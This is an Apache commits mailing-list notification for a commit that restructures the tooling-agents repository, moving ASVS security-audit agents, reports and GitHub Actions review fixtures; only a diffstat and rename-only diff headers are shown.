You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by ak...@apache.org on 2026/04/22 21:09:53 UTC
(tooling-agents) branch main updated: Restructure repository: flatten repos/, consolidate docs, update READMEs
This is an automated email from the ASF dual-hosted git repository.
andrewmusselman pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new de286c9 Restructure repository: flatten repos/, consolidate docs, update READMEs
de286c9 is described below
commit de286c979322eb88c954730dc3abc328fa2092db
Author: Andrew Musselman <an...@gmail.com>
AuthorDate: Wed Apr 22 14:09:38 2026 -0700
Restructure repository: flatten repos/, consolidate docs, update READMEs
---
{repos/apache/ASVS => ASVS}/README.md | 0
.../add_markdown_file_to_github_directory.py | 0
.../consolidate_asvs_security_audit_reports.py | 0
.../agents/discover_codebase_architecture.py | 0
.../agents/download_github_repo_to_data_store.py | 0
.../agents/orchestrate_asvs_audit_to_github.py | 0
.../agents/run_asvs_security_audit.py | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.1.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.2.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.3.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.4.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.5.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.6.md | 0
.../v3/d0aa7e9/api_and_mass_assignment/15.3.7.md | 0
.../d0aa7e9/authentication_and_session/10.1.1.md | 0
.../d0aa7e9/authentication_and_session/10.1.2.md | 0
.../d0aa7e9/authentication_and_session/10.2.1.md | 0
.../d0aa7e9/authentication_and_session/10.2.2.md | 0
.../d0aa7e9/authentication_and_session/10.2.3.md | 0
.../d0aa7e9/authentication_and_session/10.3.1.md | 0
.../d0aa7e9/authentication_and_session/10.3.2.md | 0
.../d0aa7e9/authentication_and_session/10.3.3.md | 0
.../d0aa7e9/authentication_and_session/10.3.4.md | 0
.../d0aa7e9/authentication_and_session/10.3.5.md | 0
.../d0aa7e9/authentication_and_session/10.4.1.md | 0
.../d0aa7e9/authentication_and_session/10.4.10.md | 0
.../d0aa7e9/authentication_and_session/10.4.11.md | 0
.../d0aa7e9/authentication_and_session/10.4.12.md | 0
.../d0aa7e9/authentication_and_session/10.4.13.md | 0
.../d0aa7e9/authentication_and_session/10.4.14.md | 0
.../d0aa7e9/authentication_and_session/10.4.15.md | 0
.../d0aa7e9/authentication_and_session/10.4.16.md | 0
.../d0aa7e9/authentication_and_session/10.4.2.md | 0
.../d0aa7e9/authentication_and_session/10.4.3.md | 0
.../d0aa7e9/authentication_and_session/10.4.4.md | 0
.../d0aa7e9/authentication_and_session/10.4.5.md | 0
.../d0aa7e9/authentication_and_session/10.4.6.md | 0
.../d0aa7e9/authentication_and_session/10.4.7.md | 0
.../d0aa7e9/authentication_and_session/10.4.8.md | 0
.../d0aa7e9/authentication_and_session/10.4.9.md | 0
.../d0aa7e9/authentication_and_session/10.5.1.md | 0
.../d0aa7e9/authentication_and_session/10.5.2.md | 0
.../d0aa7e9/authentication_and_session/10.5.3.md | 0
.../d0aa7e9/authentication_and_session/10.5.4.md | 0
.../d0aa7e9/authentication_and_session/10.5.5.md | 0
.../d0aa7e9/authentication_and_session/10.6.1.md | 0
.../d0aa7e9/authentication_and_session/10.6.2.md | 0
.../d0aa7e9/authentication_and_session/10.7.1.md | 0
.../d0aa7e9/authentication_and_session/10.7.2.md | 0
.../d0aa7e9/authentication_and_session/10.7.3.md | 0
.../authorization_and_access_control/2.3.1.md | 0
.../authorization_and_access_control/2.3.2.md | 0
.../authorization_and_access_control/2.3.3.md | 0
.../authorization_and_access_control/2.3.4.md | 0
.../authorization_and_access_control/2.3.5.md | 0
.../v3/d0aa7e9/browser_security_headers/3.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch01_general/1.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch01_general/1.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch01_general/1.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.3.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.3.4.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.3.5.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.4.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.5.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.6.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.7.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.4.8.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.2.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.4.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.5.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.6.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.5.8.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.6.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.7.1.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.7.2.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.7.3.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.7.4.md | 0
.../reports/steve/v3/d0aa7e9/ch03_general/3.7.5.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.1.2.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.1.3.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.1.4.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.1.5.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.2.4.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.2.5.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch04_general/4.4.4.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.4.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.5.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.2.6.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.3.3.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch05_general/5.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.1.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.1.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.1.md | 0
.../steve/v3/d0aa7e9/ch06_general/6.2.10.md | 0
.../steve/v3/d0aa7e9/ch06_general/6.2.11.md | 0
.../steve/v3/d0aa7e9/ch06_general/6.2.12.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.4.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.5.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.6.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.7.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.8.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.2.9.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.4.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.5.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.6.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.7.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.3.8.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.4.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.5.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.4.6.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.4.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.5.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.6.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.7.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.5.8.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.6.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.6.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.6.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.6.4.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.7.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.7.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.8.1.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.8.2.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.8.3.md | 0
.../reports/steve/v3/d0aa7e9/ch06_general/6.8.4.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.1.2.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.1.3.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.2.4.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.4.3.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.4.4.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.4.5.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.5.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.5.2.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.5.3.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.6.1.md | 0
.../reports/steve/v3/d0aa7e9/ch07_general/7.6.2.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.1.2.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.1.3.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.1.4.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.2.4.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.3.1.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.3.2.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.3.3.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.4.1.md | 0
.../reports/steve/v3/d0aa7e9/ch08_general/8.4.2.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.1.1.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.1.2.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.1.3.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.2.1.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.2.2.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.2.3.md | 0
.../reports/steve/v3/d0aa7e9/ch09_general/9.2.4.md | 0
.../concurrency_and_race_conditions/15.4.1.md | 0
.../concurrency_and_race_conditions/15.4.2.md | 0
.../concurrency_and_race_conditions/15.4.3.md | 0
.../concurrency_and_race_conditions/15.4.4.md | 0
.../reports/steve/v3/d0aa7e9/consolidated.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.1.1.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.1.2.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.1.3.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.1.4.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.1.5.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.2.1.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.2.2.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.2.3.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.2.4.md | 0
.../d0aa7e9/dependency_and_supply_chain/15.2.5.md | 0
.../input_validation_and_injection/1.1.1.md | 0
.../input_validation_and_injection/1.1.2.md | 0
.../input_validation_and_injection/1.2.1.md | 0
.../input_validation_and_injection/1.2.10.md | 0
.../input_validation_and_injection/1.2.2.md | 0
.../input_validation_and_injection/1.2.3.md | 0
.../input_validation_and_injection/1.2.4.md | 0
.../input_validation_and_injection/1.2.5.md | 0
.../input_validation_and_injection/1.2.6.md | 0
.../input_validation_and_injection/1.2.7.md | 0
.../input_validation_and_injection/1.2.8.md | 0
.../input_validation_and_injection/1.2.9.md | 0
.../input_validation_and_injection/1.3.1.md | 0
.../input_validation_and_injection/1.3.10.md | 0
.../input_validation_and_injection/1.3.11.md | 0
.../input_validation_and_injection/1.3.12.md | 0
.../input_validation_and_injection/1.3.2.md | 0
.../input_validation_and_injection/1.3.4.md | 0
.../input_validation_and_injection/1.3.5.md | 0
.../input_validation_and_injection/1.3.6.md | 0
.../input_validation_and_injection/1.3.7.md | 0
.../input_validation_and_injection/1.3.8.md | 0
.../input_validation_and_injection/1.3.9.md | 0
.../input_validation_and_injection/2.1.1.md | 0
.../input_validation_and_injection/2.1.2.md | 0
.../input_validation_and_injection/2.1.3.md | 0
.../input_validation_and_injection/2.2.1.md | 0
.../input_validation_and_injection/2.2.2.md | 0
.../input_validation_and_injection/2.2.3.md | 0
.../reports/steve/v3/d0aa7e9/issues.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.1.1.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.2.1.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.2.2.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.2.3.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.2.4.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.2.5.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.3.1.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.3.2.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.3.3.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.3.4.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.4.1.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.4.2.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.4.3.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.5.1.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.5.2.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.5.3.md | 0
.../v3/d0aa7e9/logging_and_monitoring/16.5.4.md | 0
.../v3/d0aa7e9/rate_limiting_and_dos/2.4.1.md | 0
.../v3/d0aa7e9/rate_limiting_and_dos/2.4.2.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.1.1.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.1.2.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.1.3.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.1.4.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.1.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.2.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.3.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.4.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.5.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.2.6.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.3.1.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.3.2.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.3.3.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.3.4.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.1.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.2.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.3.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.4.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.5.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.6.md | 0
.../v3/d0aa7e9/secrets_and_configuration/13.4.7.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.1.1.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.1.2.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.1.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.2.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.3.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.4.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.5.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.6.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.7.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.2.8.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.3.1.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.3.2.md | 0
.../v3/d0aa7e9/sensitive_data_handling/14.3.3.md | 0
.../d0aa7e9/tls_and_transport_security/12.1.1.md | 0
.../d0aa7e9/tls_and_transport_security/12.1.2.md | 0
.../d0aa7e9/tls_and_transport_security/12.1.3.md | 0
.../d0aa7e9/tls_and_transport_security/12.1.4.md | 0
.../d0aa7e9/tls_and_transport_security/12.1.5.md | 0
.../d0aa7e9/tls_and_transport_security/12.2.1.md | 0
.../d0aa7e9/tls_and_transport_security/12.2.2.md | 0
.../d0aa7e9/tls_and_transport_security/12.3.1.md | 0
.../d0aa7e9/tls_and_transport_security/12.3.2.md | 0
.../d0aa7e9/tls_and_transport_security/12.3.3.md | 0
.../d0aa7e9/tls_and_transport_security/12.3.4.md | 0
.../d0aa7e9/tls_and_transport_security/12.3.5.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.1.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.1.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.1.3.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.1.4.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.2.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.2.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.2.3.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.2.4.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.2.5.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.3.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.3.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.3.3.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.3.4.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.3.5.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.4.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.4.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.4.3.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.4.4.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.5.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.5.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.6.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.6.2.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.7.1.md | 0
.../d0aa7e9/vote_encryption_and_crypto/11.7.2.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.1.1.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.1.2.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.1.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.2.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.3.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.4.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.5.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.6.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.7.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.2.8.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.3.1.md | 0
.../v3/d0aa7e9/webrtc_media_security/17.3.2.md | 0
.../da901ba/consolidated-L1-L2.md | 0
.../da901ba/issues-L1-L2.md | 0
{repos/apache/ASVS => ASVS}/rerun-sections.sh | 0
docs/ASVS/security-audit-tooling.md | 83 -
.../apache/github-review => gha-review}/README.md | 0
.../github-review => gha-review}/agents/README.md | 0
.../github-review => gha-review}/agents/brief.py | 0
.../agents/json-export.py | 0
.../agents/orchestrator.py | 0
.../agents/pre-fetch.py | 0
.../agents/publishing.py | 0
.../github-review => gha-review}/agents/review.py | 0
.../agents/security.py | 0
.../agents/tests/README.md | 0
.../fixtures/real-world/beam-users-permissions.yml | 0
.../real-world/opendal-full-ci-promote.yml | 0
.../fixtures/real-world/texera-email-notif.yml | 0
.../tests/fixtures/synthetic/broad-perms-high.yml | 0
.../fixtures/synthetic/cache-poisoning-info.yml | 0
.../synthetic/injection-critical-prt-trigger.yml | 0
.../synthetic/injection-low-pr-trigger.yml | 0
.../fixtures/synthetic/injection-low-secret.yml | 0
.../tests/fixtures/synthetic/no-prt-none.yml | 0
.../synthetic/prt-critical-broad-perms.yml | 0
.../fixtures/synthetic/prt-info-default-ref.yml | 0
.../synthetic/prt-low-both-mitigations.yml | 0
.../fixtures/synthetic/prt-medium-labeled.yml | 0
.../synthetic/prt-medium-limited-perms.yml | 0
.../fixtures/synthetic/self-hosted-high-pr.yml | 0
.../fixtures/synthetic/self-hosted-info-push.yml | 0
.../synthetic/self-hosted-low-both-mitigations.yml | 0
.../synthetic/self-hosted-medium-labeled.yml | 0
.../synthetic/self-hosted-medium-limited-perms.yml | 0
.../agents/tests/security_checks.py | 0
.../agents/tests/test_security_checks.py | 0
.../github-review => gha-review}/reports/README.md | 0
.../github-review => gha-review}/reports/brief.md | 0
.../reports/json-export.json | 0
.../reports/publishing.md | 0
.../github-review => gha-review}/reports/review.md | 0
.../reports/security.md | 0
repos/README.md | 13 -
.../d0aa7e9/admin_tallying_operations/14.2.1.md | 188 ---
.../d0aa7e9/authentication_authorization/10.4.1.md | 233 ---
.../d0aa7e9/authentication_authorization/10.4.2.md | 550 -------
.../d0aa7e9/authentication_authorization/10.4.3.md | 318 ----
.../d0aa7e9/authentication_authorization/10.4.4.md | 277 ----
.../d0aa7e9/authentication_authorization/10.4.5.md | 311 ----
.../steve/d0aa7e9/business_logic_voting/2.3.1.md | 447 ------
.../ASVS/reports/steve/d0aa7e9/consolidated.md | 723 ---------
.../d0aa7e9/data_minimization_exposure/14.3.1.md | 326 ----
.../d0aa7e9/data_minimization_exposure/15.3.1.md | 349 ----
.../d0aa7e9/dependency_configuration/13.4.1.md | 351 ----
.../d0aa7e9/dependency_configuration/15.1.1.md | 270 ----
.../d0aa7e9/dependency_configuration/15.2.1.md | 354 -----
repos/apache/ASVS/reports/steve/d0aa7e9/issues.md | 1022 ------------
.../steve/d0aa7e9/tls_transport_security/12.1.1.md | 260 ---
.../steve/d0aa7e9/tls_transport_security/12.2.1.md | 302 ----
.../steve/d0aa7e9/tls_transport_security/12.2.2.md | 269 ----
.../d0aa7e9/vote_encryption_storage/11.3.1.md | 181 ---
.../d0aa7e9/vote_encryption_storage/11.3.2.md | 277 ----
.../d0aa7e9/vote_encryption_storage/11.4.1.md | 199 ---
.../steve/d0aa7e9/web_input_validation/1.2.1.md | 455 ------
.../steve/d0aa7e9/web_input_validation/1.2.2.md | 250 ---
.../steve/d0aa7e9/web_input_validation/1.2.3.md | 267 ----
.../steve/d0aa7e9/web_input_validation/1.2.4.md | 418 -----
.../steve/d0aa7e9/web_input_validation/1.2.5.md | 258 ---
.../steve/d0aa7e9/web_input_validation/1.3.1.md | 622 --------
.../steve/d0aa7e9/web_input_validation/1.3.2.md | 240 ---
.../steve/d0aa7e9/web_input_validation/1.5.1.md | 248 ---
.../steve/d0aa7e9/web_input_validation/2.1.1.md | 149 --
.../steve/d0aa7e9/web_input_validation/2.2.1.md | 335 ----
.../steve/d0aa7e9/web_input_validation/2.2.2.md | 282 ----
repos/tooling-trusted-releases/ASVS/README.md | 576 -------
.../tooling-trusted-releases/ASVS/agents/README.md | 32 -
.../add_markdown_file_to_github_directory/code.py | 169 --
.../prompt.md | 1 -
.../code.py | 1671 --------------------
.../prompt.md | 58 -
.../download_github_repo_to_datastore/code.py | 132 --
.../download_github_repo_to_datastore/prompt.md | 1 -
.../fetch_and_compile_github_open_issues/code.py | 141 --
.../fetch_and_compile_github_open_issues/prompt.md | 1 -
.../ASVS/agents/fetch_audit_guidance/code.py | 57 -
.../ASVS/agents/fetch_audit_guidance/prompt.md | 19 -
.../fetch_github_files_to_config_store/code.py | 46 -
.../fetch_github_files_to_config_store/prompt.md | 21 -
.../ASVS/agents/file_asvs_triage_issues/code.py | 570 -------
.../ASVS/agents/file_asvs_triage_issues/prompt.py | 84 -
.../ASVS/agents/ingest_asvs_standard/code.py | 213 ---
.../ASVS/agents/ingest_asvs_standard/prompt.md | 53 -
.../orchestrate_asvs_audit_to_github/code.py | 74 -
.../orchestrate_asvs_audit_to_github/prompt.md | 23 -
.../ASVS/agents/run_asvs_security_audit/code.py | 907 -----------
.../ASVS/agents/run_asvs_security_audit/prompt.md | 67 -
.../ASVS/reports/README.md | 64 -
repos/tooling-trusted-releases/README.md | 21 -
446 files changed, 15828 deletions(-)
diff --git a/repos/apache/ASVS/README.md b/ASVS/README.md
similarity index 100%
rename from repos/apache/ASVS/README.md
rename to ASVS/README.md
diff --git a/repos/apache/ASVS/agents/add_markdown_file_to_github_directory.py b/ASVS/agents/add_markdown_file_to_github_directory.py
similarity index 100%
rename from repos/apache/ASVS/agents/add_markdown_file_to_github_directory.py
rename to ASVS/agents/add_markdown_file_to_github_directory.py
diff --git a/repos/apache/ASVS/agents/consolidate_asvs_security_audit_reports.py b/ASVS/agents/consolidate_asvs_security_audit_reports.py
similarity index 100%
rename from repos/apache/ASVS/agents/consolidate_asvs_security_audit_reports.py
rename to ASVS/agents/consolidate_asvs_security_audit_reports.py
diff --git a/repos/apache/ASVS/agents/discover_codebase_architecture.py b/ASVS/agents/discover_codebase_architecture.py
similarity index 100%
rename from repos/apache/ASVS/agents/discover_codebase_architecture.py
rename to ASVS/agents/discover_codebase_architecture.py
diff --git a/repos/apache/ASVS/agents/download_github_repo_to_data_store.py b/ASVS/agents/download_github_repo_to_data_store.py
similarity index 100%
rename from repos/apache/ASVS/agents/download_github_repo_to_data_store.py
